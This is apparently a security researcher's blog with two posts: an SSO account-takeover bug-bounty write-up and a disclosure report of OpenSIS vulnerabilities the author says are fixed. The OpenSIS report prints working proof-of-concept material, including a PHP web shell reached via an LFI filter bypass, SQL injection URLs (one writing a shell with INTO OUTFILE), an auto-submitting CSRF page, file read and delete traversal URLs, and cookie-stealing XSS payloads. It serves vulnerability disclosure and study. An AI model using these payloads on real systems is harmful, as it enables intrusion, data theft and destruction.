Friday, May 10, 2024

Using a feature to takeover your account - Hacking an SSO implementation

This week, I found a super cool bug that allowed me to steal any account in the vulnerable application. The target was a private bug bounty program (so no disclosure). This bug is a problem with the SSO implementation and how the application trusts the SSO server so much that it allows us to use it to steal user accounts.



Just an overview of the site I was hacking, the site is a multi-level user application, that allow users to be part of multiple projects (personal project, organization project). We can invite any user to be part of a project, the user will be in a state of "invited" until he opens the link that is sent to his email and accepts the invite.

The problem

While hacking this app, I found that I could enable the SSO feature without buying the premium account (this is also a bug, already reported and already paid out), I made a PoC for this first bug, I registered an account in Okta, and did the configuration with the app, so the users in my organization could log in using the SSO feature. One of the options that I have to configure before enabling SSO is the email domains that are able/mandatory to login using SSO.





If a user from my organization logs in with that email domain, he will be redirected to the Okta login page.


Well, I don't know if any of you, readers, already work with Okta SSO (this was also my first time), but the process to add a user in your Okta organization is really simple (maybe too simple). We can click in "add user", set the user's email and password to log in to our Okta organization, and that's it.


The email owner doesn't have to accept anything (which helps when importing users in a bulk process, I guess).

When configuring the SSO in the vulnerable app, we "create" a subdomain inside the vulnerable site, so we can use this subdomain for our users to login. (This is a config that must be set on the SSO server and client).


After configuring the SSO, the process will be: User access our subdomain of the vulnerable site → Redirect to our Okta login page → Login using Okta credentials → User is logged in and can access ALL his projects.

I think you may notice the problem. I didn’t at first, just reported access to the SSO feature and take the rest of the day to read Lord Of The Rings. When I stopped my reading session and was just walking in the room, something clicked in my head, "What if...?".

Exploiting

For those of you that are slow like me, the bug is a simple logic problem with a BIG impact. Let's think about the following scenario.

Bob is a legitimate user, using the app alone or with a team; he is an admin on his projects.

David is a bad guy with access to the SSO feature; let's see how David can steal Bob's account.

David starts by adding Bob to his organization inside the vulnerable app.




Now that Bob is invited to David's organization, he is in an "invited" state, but this doesn’t make any differences to David, the attack can continue without problem, and Bob doesn't have to accept the invite.

The next step is to add Bob to our Okta organization and set a password for him.


Now Bob is an user in our organization, inside the vulnerable app and inside Okta, Bob don't have to accept anything (imagine he is sleeping 😴 ).

Well, with our SSO configured, we can just start using it. David can access his new SSO subdomain inside the vulnerable app and be redirected to his organization's Okta login page.




David can use the email and password he set for Bob in Okta and log in inside the vulnerable app. Because there is no segregation between projects, David can log in to Bob's account and see all of Bob's projects.



Overview

Well, the process can be summarized in:
  • Attacker adds the victim to his organization inside the app;
  • Attacker adds the victim to his organization inside Okta;
  • Attacker configures the SSO feature;
  • The attacker logs in to the vulnerable app using Okta with the victim credentials.


Conclusion

I think this bug is wayyy more common than it seems, probably many applications will trust the SSO server to know if a user belongs to an organization or not.

Well, this bug was rewarded as a P2 (which I don't agree with, I think it is a P1 but nehhh). So keep hacking, and if you found a similar bug in the past, or if you find one after reading this post, send me a message, I would love to know!!!




Friday, January 5, 2024

Vulnerabilities reported to OpenSIS (RCE, SQLi, Path Traversal and XSS)

 Vulnerabilities reported to OpenSIS

Some months ago I reported many vulnerabilties to OpenSIS (https://github.com/OS4ED/openSIS-Classic) they claim to have fixed all vulnerabilities (https://github.com/OS4ED/openSIS-Classic/issues/291) so this is my original report with all updates.


RCE via LFI

Description

By default the application allow staff users to upload txt (and images, pdf, excel files). Using the file upload functionality is possible to upload a php file with a .txt content, if we have a LFI we can access the php.txt file and execute the code inside it.

I upload a hidden video on my youtube channel (unlisted, need the url to see the video) showing how to exploit the vulnerabilty because is a little complex, I hope the video can help.

Video Poc: https://youtu.be/n-cu-1JTO6c

I'am Brazilian, my english is not the best sorry.

Proof of Concept

rce.txt file, we need to upload this file using the Files functionality

<?php

$x = system($_GET['cmd']);
header('X-Command-LFI: ' . $x);

?>

The files we upload are stored inside assets/stafffiles and the file name will be {UserID}-name.txt, if a user with id 10 upload a file called info.txt, the file will be: assets/stafffiles/10-info.txt

LFI and filter bypass

The LFI is in the Bottom.php file via the modname parameter on line 53

ob_start();
include('modules/'.sqlSecurityFilter($modname));
if($htmldocPath)

Was we can see, the application will use a function called sqlSecurityFilter in our parameter before the call to include, if we analyze this function, we will see that the function filter the '../' string, so we cannot use this string to exploit the LFI. In Windows systems is possible to exploit LFI vulnerabilities using '..\" instead of '../'.

To exploit this for command execution we need to upload the file and use the LFI to access the file.

PoC

http://localhost/openSIS-CE/Bottom.php?modfunc=print&modname=..\\assets\\stafffiles\\6-rcelfipoc.txt&cmd=whoami

Impact

Remote code execution

Occurrences

LFI

    ob_start();
    include('modules/'.sqlSecurityFilter($modname));
    if($htmldocPath)

Filter, functions/SqlSecurityFnc.php:38

$injectionParams = array('union ', 'select ', 'concat',  'concat_ws', 'create ', 'update ', 'insert ', 'delete ', 'extract ', 'drop ', 'truncate ', 'where ', 'trim ', 'format ', 'union%20', 'select%20', 'create%20', 'update%20', 'insert%20', 'delete%20', 'extract%20', 'drop%20', 'truncate%20', 'where%20', 'trim%20', 'format%20', ';', '\'', '--', '../', '..%2f', 'skip-grant-tables', 'sleep(', 'sleep (');

Multiple SQL Injections


Description

This vulnerability allow low level users to execute SQL commands. It is possible to create a CSRF PoC to perform the attack, so authentication is not really necessary. Its also possible to get RCE if the database user has permission to execute "INTO OUTFILE" command.

Proof of Concept

SQLi PoC:

http://[Host+openSIS-CE directory]/DownloadWindow.php?down_id=a'union+select+1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,version(),NULL--+-

Example version():

http://localhost/openSIS-CE/DownloadWindow.php?down_id=a'union+select+1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,version(),NULL--+-

Example INTO OUTFILE:

http://localhost/openSIS-CE/DownloadWindow.php?down_id=a'union+select+1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'<?php%20system($_GET["cmd"]);?>',NULL+into+outfile+'C:\\xampp\\htdocs\\openSIS-CE\\pocsqlcsrf.php

CSRF PoC + RCE using "INTO OUTFILE"

<a href="http://localhost/openSIS-CE/DownloadWindow.php?down_id=a'union+select+1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'<?php%20system($_GET[\'cmd\']);?>',NULL+into+outfile+'C:\\xampp\\htdocs\\openSIS-CE\\pocsqlcsrf.php" class="link">Link</a>

<script>
        document.getElementsByClassName("link")[0].click();
</script>

Impact

run SQL commands and gain access to the database. If the SQL user has high privileges, it is possible to execute operating system commands

Occurrences

modules/messaging/Group.php line 831 is vulnerable to SQL Injection in the groupid parameter

    if (isset($_REQUEST['group'])) {
        if (implode(',', $_REQUEST['group']) == '') {
            $select = "select * from mail_groupmembers where group_id=" . $_REQUEST['groupid'];
            $list = DBGet(DBQuery($select));
            foreach ($list as $m => $n) {
                if ($list[$m]['ID'])
                    $del_id[] = $list[$m]['ID'];
            }

modules/messaging/Group.php line 859 is vulnerable to SQL Injection in the groupid parameter

if ($id2 == $id3)
                echo "<script>load_link('Modules.php?modname=" . strip_tags(trim($_REQUEST[modname])) . "')</script>";
            else {
                $select = "SELECT * FROM mail_groupmembers WHERE GROUP_ID=$_REQUEST[groupid] AND ID NOT IN($id2)";
                $list = DBGet(DBQuery($select));
                foreach ($list as $i => $j) {
                    $del_id1[] = $list[$i]['ID'];
                }

Adding the eleventh SQL injection, ForExport.php lines 132 to 141 via X-Forwarded-For header

PoC to Exploit (youneed to be logged, change my PHPSESSID for yours)

GET /openSIS-CE/ForExport.php?modname=attack HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
X-Forwarded-For: 127.0.0.1',NULL,sleep(10),version(),version(),NULL,NULL,NULL)-- -
Cookie: PHPSESSID=aq1lsi8jce1v8v94b655v8qpcc

Vulnerabiltity ForExport.php lines 132-141

            if ($_SERVER['HTTP_X_FORWARDED_FOR']){
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } else {
                $ip = $_SERVER['REMOTE_ADDR'];
            }
            
            
            echo ""._youReNotAllowedToUseThisProgram."! "._thisAttemptedViolationHasBeenLoggedAndYourIpAddressWasCaptured.".";
            DBQuery("INSERT INTO hacking_log (HOST_NAME,IP_ADDRESS,LOGIN_DATE,VERSION,PHP_SELF,DOCUMENT_ROOT,SCRIPT_NAME,MODNAME,USERNAME) values('$_SERVER[SERVER_NAME]','$ip','".date('Y-m-d')."','$openSISVersion','$_SERVER[PHP_SELF]','$_SERVER[DOCUMENT_ROOT]','$_SERVER[SCRIPT_NAME]','$_REQUEST[modname]','".User('USERNAME')."')");

We see that the $ip parameter is directly used in the SQL Query

modules/messaging/Group.php line 865 is vulnerable to SQL Injection in the groupid parameter

 $id = implode(',', $del_id1);
                $select = "DELETE FROM mail_groupmembers WHERE GROUP_ID=$_REQUEST[groupid] AND ID IN($id)";
                $not_in_group = DBQuery($select);
                $mem_del = 'del';
                unset($_REQUEST['modfunc']);

Has we can see, the vulnerability occurs due to lack of validation

if(isset($_REQUEST['down_id']) && $_REQUEST['down_id']!='')
{
     if ((isset($_REQUEST['studentfile']) && $_REQUEST['studentfile'] == 'Y') || (isset($_REQUEST['userfile']) && $_REQUEST['userfile'] == 'Y'))
        $downfile_info = DBGet(DBQuery('SELECT * FROM user_file_upload WHERE id=\'' . $_REQUEST['down_id'] . '\''));
    else
        $downfile_info = DBGet(DBQuery('SELECT * FROM user_file_upload WHERE download_id=\'' . $_REQUEST['down_id'] . '\''))

Hi, another endpoint vulnerable to SQL Injection, now through the table parameter

 } elseif ($_REQUEST['table'] !== 'new' && $_REQUEST['modfunc'] == 'edit') {
        $code_cat = DBGet(DBQuery('SELECT TITLE FROM attendance_code_categories WHERE id=' . $_REQUEST['table']));
        $code_cat = $code_cat[1]['TITLE'];
        $_openSIS['selected_tab'] = "Modules.php?modname=$_REQUEST[modname]&table=$_REQUEST[table]";

Request to trigger the vulnerabiltiy


http://[openSIS Installation]/Ajax.php?modname=attendance/AttendanceCodes.php&modfunc=edit&id=5&ajax=true&table=0+union+select+sleep(10)
http://localhost/openSIS-CE/Ajax.php?modname=attendance/AttendanceCodes.php&modfunc=edit&id=5&ajax=true&table=0+union+select+sleep(10)

Hi, another endpoint vulnerable to SQL Injection, now through the id parameter

if($_REQUEST['modfunc']=='remove')
{
    
    DBQuery('DELETE FROM api_info WHERE ID='.$_REQUEST['id']);
} 

Request to trigger the vulnerabiltiy

http://[OpenSIS Install]/Ajax.php?modname=tools/GenerateApi.php&modfunc=remove&id=1 or sleep(3)&ajax=true

http://localhost/openSIS-CE/Ajax.php?modname=tools/GenerateApi.php&modfunc=remove&id=1%20or%20sleep(3)&ajax=true

modules/messaging/Group.php line 848 is vulnerable to SQL Injection in the groupid parameter

else {
            $mem_del = '';
            $not_select = "select * from mail_groupmembers where GROUP_ID=$_REQUEST[groupid]";
            $list1 = DBGet(DBQuery($not_select));
            foreach ($list1 as $i => $j) {
                $id_list[] = $j['ID'];
            }

modules/messaging/Group.php line 875 is vulnerable to SQL Injection in the groupid parameter

$no_of_member = DBGet(DBQuery('SELECT * FROM mail_groupmembers WHERE GROUP_ID=' . $_REQUEST['groupid']));
        if (count($no_of_member) == 0)
            echo "<script>load_link('Modules.php?modname=" . strip_tags(trim($_REQUEST[modname])) . "')</script>";
        else {

modules/messaging/Group.php line 880 is vulnerable to SQL Injection in the groupid parameter

$mem_del = '';
            $delect_member = "delete from mail_groupmembers where GROUP_ID=$_REQUEST[groupid]";
            $delect_member_qry = DBQuery($delect_member);
            $mem_del = 'del';
            unset($_REQUEST['modfunc']);

modules/messaging/Group.php line 840 is vulnerable to SQL Injection in the groupid parameter

              $id = implode(',', $del_id);
            $mem_del = '';
            $select = "DELETE FROM mail_groupmembers WHERE GROUP_ID=$_REQUEST[groupid] AND ID IN($id)";
            $not_in_group = DBQuery($select);
            $mem_del = 'del';
            unset($_REQUEST['modfunc']);
            echo "<script>load_link_group('Modules.php?modname=messaging/Group.php','2')</script>";

Request example

http://localhost/openSIS-CE/Modules.php?modname=messaging/Group.php&modfunc=memb

Path Traversal to read files

Description

Hi, I founded a path traversall that allow me to read files in the application and operation system

Proof of Concept

Application:
http://localhost/openSIS-CE/DownloadWindow.php?filename=../Data.php

Windows OS:
http://localhost/openSIS-CE/DownloadWindow.php?filename=../../../../Windows/win.ini

Impact

File read access to the application and OS

Occurrences

{
    header('Content-Disposition: attachment; filename="'.urldecode($_REQUEST['name']).'" ');
    readfile('assets/'.urldecode($_REQUEST['filename']));
}


Path Traversal to delete files

Description

Hi, I found a path traversall that allow me to delete any application file and files in the OS, the payload must be base64 encoded in the removefile parameter

Proof of Concept

target file = ../../PoC-Del.txt
http://localhost/openSIS-CE/Modules.php?modname=users/Staff.php&removefile=Li4vLi4vUG9DLURlbC50eHQ=&title=&include=FilesInc&modfunc=delete&delete_ok=1


target file = ../../../../PoC-OS-Level.txt
http://localhost/openSIS-CE/Modules.php?modname=users/Staff.php&removefile=Li4vLi4vLi4vLi4vUG9DLU9TLUxldmVsLnR4dA==&title=&include=FilesInc&modfunc=delete&delete_ok=1

Impact

Its possible to remove any file in the application, this allow me to break the entire application and remove OS files

Occurrences

Removefile parameter is not validated against path traversall

if ($_REQUEST['modfunc'] == 'delete' && $_REQUEST['include'] == 'FilesInc' && (User('PROFILE') == 'admin' || User('PROFILE') == 'teacher')) {
    if (DeletePromptFilesEncoded($_REQUEST['title'], '&include=FilesInc&category_id=7')) {
        unlink('assets/stafffiles/' . base64_decode($_REQUEST['removefile']));

        DBQuery('DELETE FROM user_file_upload WHERE ID=' . $_REQUEST['del']);

        unset($_REQUEST['modfunc']);
    }

Multiple XSS

Description

Hi, I notice the session cookie PHPSESSID is not Secure, so I find a reflected XSS in Validator.php lines 59 and 64 and I was able to access the cookie with the XSS attack.

Proof of Concept

http://localhost/openSIS-CE/validator.php?validate=pass_o&opt=<script>alert(document.cookie)</script>

Impact

A attacker can use this to steal users cookies and impersonate them, Account Take Over (ATO)

Occurrences

Adding third XSS, student_id and drop_code parameters on TransferredOutModal.php line 130

PoC

http://localhost/openSIS-CE/TransferredOutModal.php?modfunc=detail&student_id=1"><script>alert(document.cookie)</script>&drop_code=1"><script>alert(document.domain)</script>

Vulnerable Code

echo '<input type="hidden" name="values[student_enrollment]['.$_REQUEST['student_id'].'][DROP_CODE]" value="'.$_REQUEST['drop_code'].'" />';

The vulnerability occour here because the is no sanetization, you can use htmlentities() to prevente XSS

        {
            echo '1_'.$_GET['opt'];
            
        }
        else
        {
            echo '0_'.$_GET['opt'];
        }

Adding second XSS, mode parameter in CoursePeriodModal.php

payload:
http://localhost/openSIS-CE/CoursePeriodModal.php?course_period_id=1&meet_date=1&cpv_id=1&subject_id=1&course_id=1&id=1&calendar_id=1&mode=c4v4r0n"><script>alert(document.cookie)</script>

Vulnerable code

        }
        //PopTableforWindow('header', $title);
        echo "<FORM class=form-horizontal name=popform id=popform action=ForWindow.php?modname=schoolsetup/Courses.php&meet_date=" . $meet_date . "&modfunc=detail&mode=" . $_REQUEST['mode'] . "&subject_id=" . $subject_id . "&course_id=" . $course_id . "&course_period_id=" . $cp_id . "&calendar_id=" . $calendar_id . " METHOD=POST>";
        echo '<div class="panel">';
        echo '<div class="tabbable">';

Adding the fourth XSS, file content in DataImport.php ($value variable)

We need to create a malicious xlsx file to exploit this vulnerabiltity. I uploaded a private video (access with url only) to my youtube account, so you can see how to exploit the vulnerability

Video PoC

https://youtu.be/G1cu-fy5-Cg

Vulnerable Field ($value variable)

if ($value)
                echo "<tr class=" . $class . "><td class='" . $class . " p-t-20'>" . $value . "</td><td><div id='" . preg_replace('/[()\/]/', '', $value) . "' class='text-center p-t-15'></div></td><td class=" . $class . ">" . SelectInput($valuee, 'stu[' . $value . ']', '', $options, 'N/A', ' onchange=drawmapping(this.value,' . 'k' . $i . ',' . preg_replace('/[()\/]/', '', $value) . ');') . "</td></tr>";
            echo "<input type='hidden' name='student_map_value[]' id=k$i>";

Malicious Excel content

<script>alert(document.cookie)</script> lname   email
gon k   email@a.com
kilua   z   email2@a.com

as an admin, access Tools -> Data Import Utility -> Import Student Data and upload the malicious xlsx file

Using a feature to takeover your account - Hacking an SSO implementation

This week, I found a super cool bug that allowed me to steal any account in the vulnerable application. The target was a private bug bounty ...